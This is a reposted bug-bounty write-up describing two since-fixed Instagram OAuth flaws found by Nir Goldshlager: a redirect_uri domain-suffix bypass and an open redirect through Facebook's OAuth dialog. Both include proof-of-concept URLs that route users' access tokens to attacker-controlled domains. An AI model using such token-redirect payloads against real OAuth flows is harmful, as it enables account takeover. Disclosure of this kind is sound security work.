Nir Goldshlager Founder of Break Security
find the critical vulnerability in Instagram. Succesful hack allows
attacker to access private photos and ability to delete victim's photos,
edit comment and post new photos.
1. Hijack Instagram accounts using the Instagram OAuth (https://instagram.com/oauth/authorize/)
2. Hijack Instagram accounts using the Facebook OAuth Dialog (https://www.facebook.com/dialog/oauth)
He reported a few issues to Instagram Include OAuth Attacks, But the
acquisition didn’t closed yet and Facebook Security was unable to put
their hands on security issues in Instagram, So I was waiting, Waiting
like a good WhiteCollar, Then Facebook Security send me a message, They
say even that they was unable to fix this issues because the
acquisition didn’t closed yet, They will still payout for this
vulnerabilities,
So, first, checked Instagram’s OAuth protocol: (http://instagram.com/developer/authentication/)
While researching Instagram’s security parameters, Nir noticed that
Facebook Security had produced some impressive results in regard to
their own Instagram OAuth vulnerabilities. They essentially blocked
access to any and all files, folders, and subdomains by validate the
redirect_uri parameter.
In addition, redirection was only allowed to go to the owner app domain.
Thus, hacker needed to locate some other way to get past their
protection. Further complicating the issue was the fact that you can’t
use a site redirection / XSS on the victim’s owner app. This is because
you have no access to the files or folders on the owner app domain
through the redirect_uri parameter.
Block Files Folders
For example:
Allow request:
https://apigee.com
Block requests:
Redirect_uri=https://www.breaksec.com
Redirect_uri=https://a.apigee.com/
Redirect_uri=https://apigee.com/x/x.php
Redirect_uri=https://apigee.com/%23,? or any special sign
As it stands, it appears that the redirect_uri is invulnerable to OAuth attacks.
While researching, I came upon a sneaky bypass. If the attacker uses a
suffix trick on the owner app domain, they can bypass the Instagram
OAuth and then send the access_token code to their own domain.
For instance:
Let’s say Nir app client_id in Instagram is 33221863xxx and my domain is breaksec.com
In this case, the redirect_uri parameter should allow redirection only
to my domain (breaksec.com), right? What happens when we change the
suffix in the domain to something like:
Breaksec.com.mx
In this example, the attacker can send the access_token, code straight
to breaksec.com.mx. For the attack to be successful, of course, the
attacker will have to buy the new domain (in this case,
breaksec.com.mx).
PoC Bypass (Fixed By Facebook Security Team):
https://instagram.com/oauth/authorize/?client_id=33221863eec546659f2564dd71a8a38d&redirect_uri=https://breaksec.com.mx&response_type=token
Game Over.
Bug 2.
With this bug, Nir used the Instagram client_id value through the Facebook OAuth (https://www.facebook.com/dialog/oauth).
When you use the Instagram app, it can be integrated with Facebook.
For example:
When a user wants to upload their Instagram photos to Facebook, they allow this interaction and integration to take place.
Instagram Would like to access your public profile and friend list
Nir discovered that an attacker can use virtually any domain in the
redirect_uri, next parameter. This was actually sort of baffling, and I
don’t know why this happened, but it worked. You can literally use any
domain in redirect_uri, next parameter via the redirect_uri in Instagram
client_id.
This effectively allows the attacker to steal the access_token of any Instagram user,
With the access_token the attacker will be able to post on the victim
behalf in his Facebook account, Access to his private friends list.
PoC (Facebook Already fixed this issue):
https://www.facebook.com/connect/uiserver.php?app_id=124024574287414&next=http://files.nirgoldshlager.com&display=page&fbconnect=1&method=permissions.request&response_type=token
Posting Komentar
0Komentar
3/related/default
Kami sangat menghargai pendapat dan pengalaman Anda. Silakan berbagi wawasan, komentar, atau pertanyaan di bawah ini.
1. Harap hindari meninggalkan tautan aktif.
2. Tidak ada spam atau tautan palsu, karena kami menghargai interaksi yang jujur.
3. Hindari menyalin dan menempel tanpa izin dari admin; kami menghormati hak kekayaan intelektual.
4. Jika Anda menikmati postingan ini, tolong bagikan kepada teman-teman Anda. Bersama-sama, kita bisa mengubah dunia!
PLEASE WAKE UP. ONE VOICE CAN MAKE A DIFFERENCE AND A MILLION CAN CHANGE THE WORLD.